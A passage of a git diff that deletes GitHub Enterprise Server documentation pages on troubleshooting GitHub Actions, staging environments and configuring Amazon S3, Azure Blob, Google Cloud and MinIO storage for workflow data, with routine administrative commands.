for {% data variables.product.prodname_ghe_server %} - -{% data reusables.actions.enterprise-self-signed-cert %} For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -### Installing the certificate on the runner machine - -For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened. - -For the steps required to install a certificate, refer to the documentation for your runner's operating system. - -### Configuring Node.JS to use the certificate - -Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine. - -You can set the environment variable as a system environment variable, or declare it in a file called `.env` in the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). - -For example: - -```shell -NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt -``` - -Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application. - -### Configuring Docker containers to use the certificate - -If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable. - -## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %} - -{% data reusables.actions.enterprise-http-proxy %} - -If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://IP-ADDRESS` when setting or changing your {% data variables.product.prodname_actions %} configuration. - -## Runners not connecting to {% data variables.product.prodname_ghe_server %} with a new hostname - -{% data reusables.enterprise_installation.changing-hostname-not-supported %} - -If you deploy {% data variables.product.prodname_ghe_server %} in your environment with a new hostname and the old hostname no longer resolves to your instance, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs. - -You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.location.product_location %}. Each self-hosted runner will require one of the following procedures: - -* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application. -* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows - -{% data reusables.dependabot.dependabot-on-actions-troubleshooting-workflows %} For more information, see [Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions](#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions) below. - -### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions - -1. Log in to the administrative shell using SSH. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). -1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, use the following command. - - ``` shell - ghe-config app.actions.disable-dependabot-enforcement true - ``` - -1. Apply the configuration. - - ```shell - ghe-config-apply - ``` - -1. Return to {% data variables.product.prodname_ghe_server %}. - -<a name="bundled-actions"></a> - -## Troubleshooting bundled actions in {% data variables.product.prodname_actions %} - -If you receive the following error when installing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %}, you can resolve the problem by installing the official bundled actions and workflow templates. - -```shell -A part of the Actions setup had problems and needs an administrator to resolve. -``` - -To install the official bundled actions and workflow templates within a designated organization in {% data variables.product.prodname_ghe_server %}, follow this procedure. - -1. Identify an organization that will store the official bundled actions and workflow templates. You can create a new organization or reuse an existing one. - * To create a new organization, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - * For assistance with choosing a name for this organization, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#reserved-names). - -1. Log in to the administrative shell using SSH. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). -1. To designate your organization as the location to store the bundled actions, use the `ghe-config` command, replacing `ORGANIZATION` with the name of your organization. - - ```shell - ghe-config app.actions.actions-org ORGANIZATION - ``` - - and: - - ```shell - ghe-config app.actions.github-org ORGANIZATION - ``` - -1. To add the bundled actions to your organization, unset the SHA. - - ```shell - ghe-config --unset 'app.actions.actions-repos-sha1sum' - ``` - -1. Apply the configuration. - - ```shell - ghe-config-apply - ``` - -After you've completed these steps, you can resume configuring {% data variables.product.prodname_actions %} at [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#managing-access-permissions-for-github-actions-in-your-enterprise). diff --git a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/using-a-staging-environment.md b/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/using-a-staging-environment.md deleted file mode 100644 index 7bfce573393c..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/using-a-staging-environment.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Using a staging environment -intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging instances.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Infrastructure - - Upgrades -redirect_from: - - /admin/github-actions/using-a-staging-environment - - /admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment -shortTitle: Use staging environment ---- - -## About staging environments for {% data variables.product.prodname_ghe_server %} - -It can be useful to have a staging or testing environment for {% data variables.location.product_location %}, so that you can test updates or new features before implementing them in your production environment. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). - -## Using a staging environment with {% data variables.product.prodname_actions %} - -A common way to create the staging environment is to restore a backup of your production {% data variables.product.prodname_ghe_server %} instance to a new virtual machine in the staging environment. If you use a staging instance and plan to test {% data variables.product.prodname_actions %} functionality, you should review your storage configuration in the staging environment. - -After you restore a {% data variables.product.prodname_ghe_server %} backup to the staging instance, if you try to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs on your staging instance, you will see `404` errors, because this data will be missing from your staging storage location. To work around the `404` errors, you can copy data from production to use in your staging environment. - -### Configuring storage - -When you set up a staging environment that includes a {% data variables.product.prodname_ghe_server %} instance with {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment. - -> [!WARNING] -> If you don't change the storage configuration, your staging instance may be able to write to the same external storage that you use for production, which could result in loss of data. - -For more information about storage configuration for {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider). - -### Copying files from production to staging - -To more accurately mirror your production environment, you can optionally copy files from your production storage location for {% data variables.product.prodname_actions %} to the staging storage location. - -* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example: - - ```shell - azcopy copy 'https://SOURCE-STORAGE-ACCOUNT-NAME.blob.core.windows.net/SAS-TOKEN' 'https://DESTINATION-STORAGE-ACCOUNT-NAME.blob.core.windows.net/' --recursive - ``` - -* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example: - - ```shell - aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET - ``` diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md deleted file mode 100644 index db8e9acd8c02..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Enabling GitHub Actions with Amazon S3 storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store data generated by workflow runs.' -permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Infrastructure - - Storage -redirect_from: - - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage -shortTitle: Amazon S3 storage ---- - -{% data reusables.actions.enterprise-storage-about %} - -{% data reusables.actions.enterprise-storage-about-oidc %} - -## Prerequisites - -> [!NOTE] -> The only {% data variables.product.prodname_dotcom %}-supported S3 storage providers are Amazon S3 and MinIO Gateway for NAS. -> -> {% data reusables.actions.enterprise-s3-tech-partners %} - -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: - -* Create your Amazon S3 bucket for storing data generated by workflow runs. -{% data reusables.actions.enterprise-common-prereqs %} -{% data reusables.actions.enterprise-oidc-prereqs %} - -## Enabling {% data variables.product.prodname_actions %} with Amazon S3 using OIDC (recommended) - -To configure {% data variables.product.prodname_ghe_server %} to use OIDC with an Amazon S3 bucket, you must first create an Amazon OIDC provider, then create an Identity and Access Management (IAM) role, and finally configure {% data variables.product.prodname_ghe_server %} to use the provider and role to access your S3 bucket. - -### 1. Create an Amazon OIDC provider - -1. Get the thumbprint for {% data variables.location.product_location_enterprise %}. - 1. Use the following OpenSSL command to get the SHA1 thumbprint for {% data variables.location.product_location_enterprise %}, replacing `HOSTNAME` with the public hostname for {% data variables.location.product_location_enterprise %} - - ```shell copy - openssl s_client -connect HOSTNAME:443 < /dev/null 2>/dev/null | openssl x509 -fingerprint -noout -sha1 -in /dev/stdin - ``` - - For example: - - ```shell - openssl s_client -connect my-ghes-host.example.com:443 < /dev/null 2>/dev/null | openssl x509 -fingerprint -noout -sha1 -in /dev/stdin - ``` - - The command returns a thumbprint in the following format: - - ```text - SHA1 Fingerprint=AB:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56 - ``` - - 1. Remove the colons (`:`) from the thumbprint value, and save the value to use later. - - For example, the thumbprint for the value returned in the previous step is: - - ```text - AB1234567890ABCDEF1234567890ABCDEF123456 - ``` - -1. Using the AWS CLI, use the following command to create an OIDC provider for {% data variables.location.product_location_enterprise %}. Replace `HOSTNAME` with the public hostname for {% data variables.location.product_location_enterprise %}, and `THUMBPRINT` with the thumbprint value from the previous step. - - ```shell copy - aws iam create-open-id-connect-provider \ - --url https://HOSTNAME/_services/token \ - --client-id-list "sts.amazonaws.com" \ - --thumbprint-list "THUMBPRINT" - ``` - - For example: - - ```shell copy - aws iam create-open-id-connect-provider \ - --url https://my-ghes-host.example.com/_services/token \ - --client-id-list "sts.amazonaws.com" \ - --thumbprint-list "AB1234567890ABCDEF1234567890ABCDEF123456" - ``` - - For more information on installing the AWS CLI, see the [Amazon documentation](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html). - - > [!WARNING] - > If the certificate for {% data variables.location.product_location_enterprise %} changes in the future, you must update the thumbprint value in the Amazon OIDC provider for the OIDC trust to continue to work. - -### 2. Create an IAM role - -1. Open the AWS Console, and navigate to the Identity and Access Management (IAM) service. -1. In the left menu, under "Access management", click **Roles**, then click **Create Role**. -1. On the "Select trusted entity" page, enter the following options: - * For "Trusted entity type", click **Web identity**. - * For "Identity provider", use the **Choose provider** drop-down menu and select the OIDC provider you created in the previous steps. It should be named `HOSTNAME/_services/token`, where `HOSTNAME` is the public hostname for {% data variables.location.product_location_enterprise %}. - * For "Audience", select `sts.amazonaws.com`. -1. Click **Next**. -1. On the "Add permissions" page, use the filter to find and select the `AmazonS3FullAccess` policy. -1. Click **Next**. -1. On the "Name, review, and create" page, enter a name for the role, and click **Create role**. -1. On the IAM "Roles" page, select the role you just created. -1. Under "Summary", note the ARN value for the role, as this is needed later. -1. Click the **Trust relationships** tab, then click **Edit trust policy**. -1. Edit the trust policy to add a new `sub` claim. The value for `Condition` must match the following example, replacing `HOSTNAME` with the public hostname for {% data variables.location.product_location_enterprise %}: - - ```json - ... - "Condition": { - "StringEquals": { - "HOSTNAME/_services/token:aud": "sts.amazonaws.com", - "HOSTNAME/_services/token:sub": "HOSTNAME" - } - } - ... - ``` - - For example: - - ```json - ... - "Condition": { - "StringEquals": { - "my-ghes-host.example.com/_services/token:aud": "sts.amazonaws.com", - "my-ghes-host.example.com/_services/token:sub": "my-ghes-host.example.com" - } - } - ... - ``` - -1. Click **Update policy**. - -### 3. Configure {% data variables.product.prodname_ghe_server %} to connect to Amazon S3 using OIDC - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-s3-storage-setup %} -1. Under "Authentication", select **OpenID Connect (OIDC)**, and enter the values for your storage: - * **AWS S3 Bucket:** The name of your S3 bucket. - * **AWS Role:** The ARN for the role you created in the previous procedures. For example, `arn:aws:iam::123456789:role/my-role-name`. - * **AWS Region:** The AWS region for your bucket. For example, `us-east-1`. -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage using access keys - -1. Using the AWS Console or CLI, create an access key for your storage bucket. - {% data reusables.actions.enterprise-s3-permission %} - - For more information on managing AWS access keys, see the [AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html). -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-s3-storage-setup %} -1. Under "Authentication", select **Credentials-based**, and enter your storage bucket's details: - - {% data reusables.actions.enterprise-s3-storage-credential-fields %} -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md deleted file mode 100644 index 3c131c32e1ee..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Enabling GitHub Actions with Azure Blob storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Azure Blob storage to store data generated by workflow runs.' -permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Infrastructure - - Storage -redirect_from: - - /admin/github-actions/enabling-github-actions-with-azure-blob-storage - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage -shortTitle: Azure Blob storage ---- - -{% data reusables.actions.enterprise-storage-about %} - -{% data reusables.actions.enterprise-storage-about-oidc %} - -## Prerequisites - -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: - -* Create your Azure storage account for storing workflow data. {% data variables.product.prodname_actions %} stores its data as block blobs, and two storage account types are supported: - * A **general-purpose** storage account (also known as `general-purpose v1` or `general-purpose v2`) using the **standard** performance tier. - - > [!WARNING] - > Using the **premium** performance tier with a general-purpose storage account is not supported. The **standard** performance tier must be selected when creating the storage account, and it cannot be changed later. - - * A **BlockBlobStorage** storage account, which uses the **premium** performance tier. - - For more information on Azure storage account types and performance tiers, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts). -{% data reusables.actions.enterprise-common-prereqs %} -{% data reusables.actions.enterprise-oidc-prereqs %} - -## Enabling {% data variables.product.prodname_actions %} with Azure Blob storage using OIDC (recommended) - -To configure {% data variables.product.prodname_ghe_server %} to use OIDC with an Azure storage account, you must first register a Microsoft Entra ID (previously known as Azure AD) application with OIDC credentials, then configure your storage account, and finally configure {% data variables.product.prodname_ghe_server %} to access the storage container using the Entra ID. - -### 1. Register an Entra ID application - -1. Log in to the Microsoft Entra admin center. -1. Register a new application in Entra ID. For more information, see [Quickstart: Register an application with the Microsoft identity platform](https://learn.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app#register-an-application) on Microsoft Learn. -1. In your Entra ID application, under "Essentials", take note of the values for "Application (client) ID" and "Directory (tenant) ID". These values are used later. - - ![Screenshot of the "Overview" page in Entra ID. The first four items in the "Essentials" section are highlighted with an orange outline.](/assets/images/azure/azure-aad-app-storage-ids.png) -1. In your Entra ID application, under "Manage", click **Certificates & secrets**, select the **Federated credentials** tab, then click **Add credential**. - - ![Screenshot of the page to manage "Certificates & secrets". The page link, "Federated credentials" tab, and "Add credential" button are outlined.](/assets/images/azure/azure-federated-credential.png) -1. Enter the following details for the credential: - 1. For "Federated credential scenario", select **Other issuer**. - 1. For "Issuer", enter `https://HOSTNAME/_services/token`, where `HOSTNAME` is the public hostname for {% data variables.location.product_location_enterprise %}. For example, `https://my-ghes-host.example.com/_services/token`. - 1. For "Subject identifier", enter the public hostname for {% data variables.location.product_location_enterprise %}. For example, `my-ghes-host.example.com`. - - > [!NOTE] - > The subject identifier must only have the hostname of {% data variables.location.product_location_enterprise %}, and _must not_ include the protocol. - - 1. For "Name", enter a name for the credential. - 1. Click **Add**. - -### 2. Configure your storage account - -1. In the Microsoft Azure portal, navigate to your storage account. -1. Click **Access Control (IAM)**, then click **Add**, and select **Add role assignment**. -1. For the role, select "Storage Blob Data Owner", then click **Next**. -1. For members, click **Select members**, and then search for and select the name of the Entra ID application you created earlier. Click **Select**. -1. Click **Review + assign**, review the role assignment, then click **Review + assign** again. -1. In the left menu, under "Settings", click **Endpoints**. -1. Under "Blob service", take note of the value for "Blob service", specifically the blob endpoint suffix. This is the value after `https://<storageaccountname>.blob`. It is typically `core.windows.net`, but might vary depending on your Azure region or account type. - - For example, if your blob service URL is `https://my-storage-account.blob.core.windows.net`, the blob endpoint suffix is `core.windows.net`. - - Note your storage account name and blob endpoint suffix, as these values are used later. - -### 3. Configuring {% data variables.product.prodname_ghe_server %} to connect to Entra ID using OIDC - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-azure-storage-setup %} -1. Under "Authentication", select **OpenID Connect (OIDC)**, and enter the values for your storage that you noted down in the previous procedures: - * Entra ID tenant ID - * Entra ID client ID - * Azure storage account name - * Azure blob endpoint suffix -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling {% data variables.product.prodname_actions %} with Azure Blob storage using a connection string - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-azure-storage-setup %} -1. Under "Authentication", select **Credentials-based**, and enter your Azure storage account's connection string. For more information on getting the connection string for your storage account, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys). -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md deleted file mode 100644 index 84ed21a90a5b..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Enabling GitHub Actions with Google Cloud Storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Google Cloud Storage to store data generated by workflow runs.' -permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Infrastructure - - Storage -shortTitle: Google Cloud Storage -redirect_from: - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage ---- - -> [!NOTE] -> {% data variables.product.prodname_actions %} support for Google Cloud Storage is currently in {% data variables.release-phases.public_preview %} and subject to change. - -{% data reusables.actions.enterprise-storage-about %} - -{% data reusables.actions.enterprise-storage-about-oidc %} - -## Prerequisites - -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: - -* Create your Google Cloud Storage bucket for storing data generated by workflow runs. -{% data reusables.actions.enterprise-common-prereqs %} -{% data reusables.actions.enterprise-oidc-prereqs %} - -## Enabling {% data variables.product.prodname_actions %} with Google Cloud Storage using OIDC (recommended) - -To configure {% data variables.product.prodname_ghe_server %} to use OIDC with Google Cloud Storage, you must first create a Google Cloud service account, then create a Google Cloud identity pool and identity provider, and finally configure {% data variables.product.prodname_ghe_server %} to use the provider and service account to access your Google Cloud Storage bucket. - -### 1. Create a service account - -1. Create a service account that can access your bucket using OIDC. For more information, see [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts) in the Google Cloud documentation. - - When creating the service account, ensure that you do the following: - - * Enable the IAM API as described at the start of [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts). - * Add the following roles to the service account: - * Service Account Token Creator - * Storage Object Admin -1. After creating the service account, note its email address, as it is need later. The service account email address is in the format `SERVICE-ACCOUNT-NAME@PROJECT-NAME.iam.gserviceaccount.com`. - -### 2. Create an identity pool and identity provider - -1. In the Google Cloud console, go to the [New workload provider and pool](https://console.cloud.google.com/iam-admin/workload-identity-pools/create) page. -1. Under "Create an identity pool", enter a name for the identity pool, and click **Continue**. -1. Under "Add a provider to pool": - - * For "Select a provider", select **OpenID Connect (OIDC)**. - * For "Provider name", enter a name for the provider. - * For "Issuer (URL)", enter the following URL, replacing `HOSTNAME` with the public hostname for {% data variables.location.product_location_enterprise %}: - - ```text - https://HOSTNAME/_services/token - ``` - - For example: - - ```text - https://my-ghes-host.example.com/_services/token - ``` - - * Under "Audiences", leave **Default audience** selected, but note the identity provider URL, as it is needed later. The identity provider URL is in the format `https://iam.googleapis.com/projects/PROJECT-NUMBER/locations/global/workloadIdentityPools/POOL-NAME/providers/PROVIDER-NAME`. - * Click **Continue**. -1. Under "Configure provider attributes": - - * For the "OIDC 1" mapping, enter `assertion.sub`. - * Under "Attribute Conditions", click **Add condition**. - * For "Condition CEL", enter the following condition, replacing `HOSTNAME` with the public hostname for {% data variables.location.product_location_enterprise %}: - - ```text - google.subject == "HOSTNAME" - ``` - - For example: - - ```text - google.subject == "my-ghes-host.example.com" - ``` - - > [!NOTE] - > The hostname of {% data variables.location.product_location_enterprise %} used here _must not_ include the protocol. - - * Click **Save**. -1. After creating the identity pool, at the top of the identity pool's page, click **Grant access**. - * Under "Select service account", select the service account that you created in the previous procedure. - * Under "Select principals (identities that can access the service account)", select **Only identities matching the filter**. - * For "Attribute name", select **subject**. - * For "Attribute value", enter your {% data variables.product.prodname_ghe_server %} hostname, without the protocol. For example, `my-ghes-host.example.com`. - * Click **Save**. - * You can dismiss the "Configure your application" dialog, as the configuration file is not needed. - -### 3. Configure {% data variables.product.prodname_ghe_server %} to connect to Google Cloud Storage using OIDC - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-gcp-storage-setup %} -1. Under "Authentication", select **OpenID Connect (OIDC)**, and enter the values for your storage: - * **Service URL:** The service URL for your bucket. This is usually `https://storage.googleapis.com`. - * **Bucket name:** The name of your bucket. - * **Workload Identity Provider ID:** The identity provider ID for your identity pool. - - This is in the format `projects/PROJECT-NUMBER/locations/global/workloadIdentityPools/POOL-NAME/providers/PROVIDER-NAME`. Note that you must remove the `https://iam.googleapis.com/` prefix from the value noted in the previous procedure. - - For example, `projects/1234567890/locations/global/workloadIdentityPools/my-pool/providers/my-provider`. - * **Service account:** The service account email address that you noted in the previous procedure. For example, `ghes-oidc-service-account@my-project.iam.gserviceaccount.com`. -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling {% data variables.product.prodname_actions %} with Google Cloud Storage using a HMAC key - -1. Create a Google Cloud service account that can access the bucket, and create a Hash-based Message Authentication Code (HMAC) key for the service account. For more information, see [Manage HMAC keys for service accounts](https://cloud.google.com/storage/docs/authentication/managing-hmackeys) in the Google Cloud documentation. - - The service account must have the following [Identity and Access Management (IAM) permissions](https://cloud.google.com/storage/docs/access-control/iam-permissions) for the bucket: - - * `storage.objects.create` - * `storage.objects.get` - * `storage.objects.list` - * `storage.objects.update` - * `storage.objects.delete` - * `storage.multipartUploads.create` - * `storage.multipartUploads.abort` - * `storage.multipartUploads.listParts` - * `storage.multipartUploads.list` -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-gcp-storage-setup %} -1. Under "Authentication", select **Credentials-based**, and enter your storage bucket's details: - - {% data reusables.actions.enterprise-gcp-storage-credential-fields %} -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md deleted file mode 100644 index cc421f642e16..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Enabling GitHub Actions with MinIO storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO storage to store data generated by workflow runs.' -permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Infrastructure - - Storage -redirect_from: - - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage -shortTitle: MinIO storage ---- - -{% data reusables.actions.enterprise-storage-about %} - -## Prerequisites - -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: - -* Create your MinIO bucket for storing data generated by workflow runs. For more information about installing and configuring MinIO, see [MinIO High Performance Object Storage](https://min.io/docs/minio/container/index.html) and [mc mb](https://min.io/docs/minio/linux/reference/minio-mc/mc-mb.html) in the MinIO documentation. - - To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.location.product_location %}. - - {% data reusables.actions.enterprise-s3-permission %} - -{% data reusables.actions.enterprise-common-prereqs %} - -## Enabling {% data variables.product.prodname_actions %} with MinIO storage - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -{% data reusables.actions.enterprise-s3-storage-setup %} -1. Under "Authentication", select **Credentials-based**, and enter your storage bucket's details: - - > [!NOTE] - > For MinIO, you cannot use OpenID Connect (OIDC) authentication. You must use credentials-based authentication. - - {% data reusables.actions.enterprise-minio-storage-credential-fields %} -1. Under "Artifact & Log Storage", select **Force path style**. -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/index.md b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/index.md deleted file mode 100644 index a0fff0d9f1c2..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Enabling GitHub Actions for GitHub Enterprise Server -intro: 'Learn how to configure storage and enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /enabling-github-actions-with-azure-blob-storage - - /enabling-github-actions-with-amazon-s3-storage - - /enabling-github-actions-with-google-cloud-storage - - /enabling-github-actions-with-minio-storage - - /managing-self-hosted-runners-for-dependabot-updates -shortTitle: Enable GitHub Actions -redirect_from: - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server ---- - diff --git a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md 